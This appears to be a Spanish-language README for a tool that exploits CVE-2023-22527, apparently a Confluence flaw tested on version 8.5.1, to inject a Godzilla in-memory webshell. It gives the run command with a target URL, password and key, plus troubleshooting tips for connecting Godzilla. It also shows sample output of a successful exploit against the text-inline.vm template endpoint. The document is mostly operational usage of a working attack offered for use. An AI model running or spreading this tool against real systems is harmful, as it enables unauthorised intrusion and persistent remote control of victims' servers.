boogipop/cve-2023-22527-godzilla-memshellCVE-2023-22527 herramienta de inyección de webshell en memoria
Nota: la versión probada es 8.5.1, otras versiones definitivamente también funcionan, pero no se probaron.
Contenido referenciado de la herramienta anterior del maestro Beichen.
java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url contraseña de Godzilla clave de Godzilla
ejemplo
java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://xxxx/ pass key
Si el shell de memoria se ha inyectado con éxito pero Godzilla no puede conectarse, agregue el siguiente encabezado en la configuración de la solicitud o configure el proxy de Burp para Godzilla.
Connection: close
$ java -jar .\CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://127.0.0.1:8090/ qaxnb key
[*] Exploit url: http://127.0.0.1:8090/template/aui/text-inline.vm
Response Code: 200
Response Code: 200
[*] send payload
Validate Response Code: 200
[*] exploit success
[*] godzilla webshell password : qaxnb
[*] godzilla webshell key : key
